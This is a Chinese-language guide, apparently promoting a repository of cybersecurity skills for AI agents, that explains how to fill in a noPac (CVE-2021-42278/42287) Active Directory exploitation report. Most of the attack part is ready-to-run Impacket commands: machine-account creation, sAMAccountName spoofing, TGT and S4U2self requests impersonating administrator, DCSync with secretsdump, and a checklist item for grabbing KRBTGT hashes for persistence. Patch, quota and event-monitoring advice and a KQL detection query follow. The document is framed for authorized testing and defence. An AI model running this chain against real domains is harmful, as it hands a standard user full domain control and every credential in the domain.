编写 noPac(CVE-2021-42278 / CVE-2021-42287)Active Directory 提权利用报告:靶机信息、利用步骤与修复清单
【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills
本篇技术指南以 Anthropic-Cybersecurity-Skills 仓库中 noPac 利用报告模板 为骨架,完整展开 noPac(CVE-2021-42278 与 CVE-2021-42287 组合链)从漏洞扫描、机器账户创建、sAMAccountName 伪装、TGT 请求、S4U2self 模拟到 DCSync 提权的完整攻击流程,并配套修复清单与检测指标。读者读完后,能够掌握填写结构化利用报告的全部字段口径、复现完整利用链的 Impacket 命令序列,以及从攻防双重视角评估与缓解该漏洞的实战方法。
报告模板定位与使用场景
template.md 是一份面向 AI Agent 与红队人员的结构化利用报告模板,用于在授权渗透测试中记录 noPac 攻击链的证据链。模板由三张核心表格构成:靶机信息(Target Information)、利用步骤(Exploitation Steps)与修复项(Remediation)。它要求测试者逐项填写漏洞环境的关键属性、每一步利用动作的结果状态与时间戳,以及后续修复动作的优先级。
该模板的完整上下文由 SKILL.md 支撑——后者定义了技能元数据(name: exploiting-nopac-cve-2021-42278-42287、domain/subdomain、MITRE ATT&CK 与 NIST CSF 映射)以及四阶段利用工作流;同时仓库还提供了 API 参考、标准与参考资料、工作流速览,以及两个可直接运行检测的脚本(agent.py、process.py)。
法律声明(引自 SKILL.md):本技能仅用于授权的安全测试与教育目的。未经授权对你不拥有或未获得书面许可的系统进行利用属于违法行为,可能触犯计算机欺诈相关法律。
漏洞背景:两条 CVE 如何组合成完整提权链
noPac 并非单一漏洞,而是两条 Active Directory 漏洞的组合利用链:
| CVE | 描述 | CVSS | 补丁 |
|---|---|---|---|
| CVE-2021-42278 | sAMAccountName 伪装(机器账户) | 7.5 | KB5008102 |
| CVE-2021-42287 | KDC PAC 混淆 / 权限提升 | 7.5 | KB5008380 |
- CVE-2021-42278允许攻击者将一个机器账户的
sAMAccountName属性修改为与域控制器名称一致(去掉末尾的$)。由于机器账户改名缺少必要的校验,攻击者可以制造"域控账户"的同名实体。 - CVE-2021-42287则利用了 Kerberos PAC 验证中的缺陷:当 KDC 无法通过解析后的名称找到对应账户时,会回退为追加
$并继续签发票据,从而为实际域控账户(如DC01$)发放票据。
组合后的效果是:任何通过身份认证的普通域用户都能在约 60 秒内提权为 Domain Admin,甚至可能通过 DCSync 拖取全域凭据。微软于 2021 年 11 月发布了 KB5008380 与 KB5008602 修复,但许多环境至今仍未打补丁。该利用链由 cube0x0 与 Ridter 于 2021 年 12 月公开,也是 references/standards.md 中记录的关键研究主题(CrowdStrike、Fortinet、TrustedSec 均有对应分析文章)。
一、Target Information:靶机信息表填写口径
报告的第一部分要求记录目标环境的身份信息,是后续证据链的"主语"。模板中的字段及填写口径如下:
| 字段 | 填写说明 |
|---|---|
| Domain | 目标域 FQDN,如domain.local,用于构造 LDAP 查询与 Kerberos 主体名 |
| DC Hostname | 域控主机名(不带$),如DC01,是 sAMAccountName 伪装的目标名称 |
| DC IP | 域控 IP,如10.10.10.1,所有 Impacket 工具通过-dc-ip指定 |
| Initial User | 发起攻击的初始普通域账号,用于验证"标准用户 → Domain Admin"的提权前提 |
| MachineAccountQuota | 域属性ms-DS-MachineAccountQuota,默认值为 10,即任何域用户可创建 10 个机器账户;> 0才具备利用前提 |
| Patch Level | 目标 DC 的补丁状态,重点核对 KB5008380 / KB5008602 是否已安装 |
其中MachineAccountQuota 是整个利用链的"开关"。仓库 SKILL.md 给出了两种核验方式:
# 通过 ldap3 查询(Python) python3 -c " import ldap3 server = ldap3.Server('10.10.10.1') conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True) conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota']) print(conn.entries[0]['ms-DS-MachineAccountQuota']) "# 通过 ADSI 查询(PowerShell,见 api-reference.md) ([ADSI]"LDAP://DC=domain,DC=local")."ms-DS-MachineAccountQuota" # 默认值:10(任何域用户可创建 10 个机器账户)对应的 LDAP 过滤器为(&(objectClass=domain)(ms-DS-MachineAccountQuota>=1)),表示配额大于等于 1 的域对象即为潜在可利用目标。
二、Exploitation Steps:利用步骤报告表
模板中的利用步骤表是整个报告的核心,逐条对应攻击链的六个关键动作:
| 步骤 | 动作 | 预期结果 |
|---|---|---|
| 1 | 漏洞扫描(Vulnerability scan) | Vulnerable / Not Vulnerable |
| 2 | 机器账户创建(Machine account creation) | Success / Failed |
| 3 | sAMAccountName 伪装(sAMAccountName spoofing) | Success / Failed |
| 4 | TGT 请求(TGT request) | Ticket obtained / Failed |
| 5 | S4U2self 模拟(S4U2self impersonation) | DA ticket / Failed |
| 6 | DCSync | Hashes dumped / Failed |
每一行都应记录结果状态与精确时间戳(Timestamp),形成可审计的攻击时间线。下面结合 SKILL.md 的四阶段工作流,说明每一步的具体执行方式。
步骤 1:漏洞扫描(Phase 1)
# cube0x0 的 noPac 扫描器 python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1 # CrackMapExec 模块 crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac步骤 2~5:自动化利用链(Phase 2)
noPac.py(Impacket 实现)会自动完成从机器账户创建到 S4U2self 模拟的完整链条:
# cube0x0 版本:在 DC 上获得 shell python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \ -dc-host DC01 -shell --impersonate administrator -use-ldap # Ridter 版本:备选实现,直接拖取凭据 python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \ --impersonate administrator -dumpapi-reference.md 还提供了对应的扫描与脱密参数变体:
noPac.py domain.local/user:password -dc-ip 10.10.10.1 --scan # 仅扫描 noPac.py domain.local/user:password -dc-ip 10.10.10.1 -use-ldap -shell noPac.py domain.local/user:password -dc-ip 10.10.10.1 -use-ldap -dump该工具自动执行的内部动作序列为(据 SKILL.md 与 api-reference.md 的攻击链描述):
- 创建新机器账户(或复用已有账户);
- 将机器账户的
sAMAccountName改名为与 DC 同名(如DC01); - 为伪装名称请求 TGT;
- 恢复原始
sAMAccountName; - 使用 S4U2self 获取模拟目标用户的服务票据;
- KDC 找不到与
DC01匹配的账户,回退追加$后为真实 DC 账户DC01$发放票据。
步骤 6:DCSync 凭据拖取(Phase 3)
拿到域控票据后即可执行 DCSync:
export KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local或者直接通过 noPac shell 以 DC 上的 SYSTEM 权限操作。
手动利用序列(Phase 4)
当自动化工具不可用或需要逐步骤取证时,SKILL.md 提供了完整的手动利用序列(workflows.md 将其概括为六步工作流):
# 1. 创建机器账户 addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \ -dc-ip 10.10.10.1 domain.local/user:'Password123' # 2. 清除 SPN 并将 sAMAccountName 改为 DC 名(不带 $) renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \ -dc-ip 10.10.10.1 domain.local/user:'Password123' # 3. 为伪装名称请求 TGT getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123' # 4. 恢复原始机器账户名 renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \ -dc-ip 10.10.10.1 domain.local/user:'Password123' # 5. 使用 S4U2self 模拟 administrator,请求 cifs 服务票据 export KRB5CCNAME=DC01.ccache getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \ -k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'三、Remediation:修复与缓解清单
模板的第三部分是修复清单,按其优先级组织:
| 动作 | 优先级 | 状态 |
|---|---|---|
| 应用 KB5008380 | Critical | |
| 应用 KB5008602 | Critical | |
| 将 MachineAccountQuota 设为 0 | High | |
| 监控事件 4741 / 4742 | Medium |
api-reference.md 给出了补充修复步骤:
- 应用 KB5008380 补丁;
- 将 MachineAccountQuota 设为 0;
- 监控事件 4741 与 4781 的异常;
- 在所有 DC 上启用 PAC 验证。
process.py 的报告中还给出了 PowerShell 落地命令:
Set-ADDomain -Identity domain.local -Replace @{'ms-DS-MachineAccountQuota'='0'}仓库记录的补丁矩阵如下(KB 编号以仓库文档为准):
| KB | 说明 |
|---|---|
| KB5008380 | 2021 年 11 月补丁(Kerberos PAC 修复) |
| KB5008602 | OOB 补丁(sAMAccountName 修复) |
| KB5008207 | 累积更新 |
| KB5008102 | CVE-2021-42278 对应补丁 |
四、检测指标与监控建议
报告完成后,可对照 SKILL.md 的检测签名表将证据映射为 SIEM 告警规则:
| 指标 | 检测方法 |
|---|---|
| 机器账户 sAMAccountName 变更 | 事件 4742(计算机账户变更)中 sAMAccountName 被修改 |
| 新机器账户创建 | 事件 4741(计算机对象创建) |
无尾缀$账户的 TGT 请求 | Kerberos 审计日志分析 |
| 非 DC 机器账户发起 S4U2self | 事件 4769 出现异常服务票据请求 |
| 创建账户 → 改名 → 请求 TGT 的快速序列 | 针对 noPac 攻击模式的 SIEM 关联规则 |
api-reference.md 补充了更完整的事件 ID 表(4741 计算机账户创建、4742 计算机账户修改、4743 计算机账户删除、4781 账户改名、4768 TGT 请求),并给出了 KQL 检测查询示例:
SecurityEvent | where EventID == 4781 | where TargetUserName !endswith "$" | where TargetUserName in ("DC01", "DC02")五、仓库脚本:把报告流程自动化
仓库为报告模板提供了两个可直接运行的自动化脚本,将"扫描 → 评估 → 出报告"的流程固化:
agent.py — 检测 Agent
agent.py 是一个命令行检测工具,覆盖三个检查维度:
check_nopac_impacket():调用noPac.py ... --scan,通过输出中是否出现VULNERABLE或success判定漏洞状态;check_machineaccountquota():通过 PowerShell ADSI 查询ms-DS-MachineAccountQuota,quota > 0即判定exploitable;check_patch_status():在 Windows 平台调用wmic qfe list brief,核对 KB5008380 / KB5008602 / KB5008207 是否安装。
其main()会根据任一检查为真(vulnerable或exploitable)将risk_level汇总为CRITICAL,并支持-o输出 JSON 报告:
python3 agent.py --domain domain.local --username user --password 'Password123' \ --dc-ip 10.10.10.1 --check-patch -o nopac_report.jsonprocess.py — 评估与报告生成
process.py 提供纯命令行工作流:先通过ldap3内联脚本检查配额(exploitable: quota > 0),再调用scanner.py执行 noPac 扫描,最后生成包含目标信息、配额检查结果、扫描结果与修复建议的文本报告:
python process.py 10.10.10.1 domain.local user Password123该脚本的输出结构与 template.md 的表格字段一一对应:Target DC对应 DC IP、MachineAccountQuota对应配额字段、VULNERABLE / NOT VULNERABLE对应漏洞扫描结果,[Remediation]段则直接输出四条修复建议(KB5008380、KB5008602、配额置零、监控 4741/4742),并自动保存带时间戳的评估报告文件。
六、MITRE ATT&CK 映射与验证标准
standards.md 将整个攻击链映射到 MITRE ATT&CK 战术框架:
| 技术 ID | 名称 | 战术 |
|---|---|---|
| T1068 | Exploitation for Privilege Escalation | 权限提升 |
| T1136.002 | Create Account: Domain Account | 持久化 |
| T1078.002 | Valid Accounts: Domain Accounts | 初始访问 |
| T1558 | Steal or Forge Kerberos Tickets | 凭据访问 |
| T1003.006 | OS Credential Dumping: DCSync | 凭据访问 |
此外,SKILL.md 的 front matter 还关联了 D3FEND 技术(Platform Monitoring、Process Analysis 等)与 NIST CSF 控制项(ID.RA-01、GV.OV-02、DE.AE-07),便于将利用演练纳入组织级风险与监控评估。
在最终提交报告前,请对照 SKILL.md 的验证清单逐项确认:
- 已对域执行 noPac 漏洞扫描
- 已核验 MachineAccountQuota(默认 10)
- 利用链执行成功(获得 shell 或完成 DCSync)
- 已从标准用户获取 Domain Admin 权限
- 已执行 DCSync 拖取域凭据
- 已获取 KRBTGT 哈希用于持久化验证
- 攻击链已带时间戳完整记录
- 已核验补丁状态(KB5008380、KB5008602)
总结
noPac 利用报告模板将"扫描 → 建号 → 伪装 → TGT → S4U2self → DCSync → 修复"这条完整链路压缩为三张可审计的结构化表格,是红队演练证据记录与蓝队检测加固的公共语言。本文结合仓库 SKILL.md、api-reference.md 与两个自动化脚本,给出了每个字段的填写口径、每条命令的可复现参数,以及对应的检测事件与修复动作——无论你是在授权渗透测试中执行该利用链,还是在 SOC 中构建针对 sAMAccountName 伪装与异常 TGT 请求的检测规则,都可以将这份模板作为攻击方与防御方统一的证据与基线框架。
【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考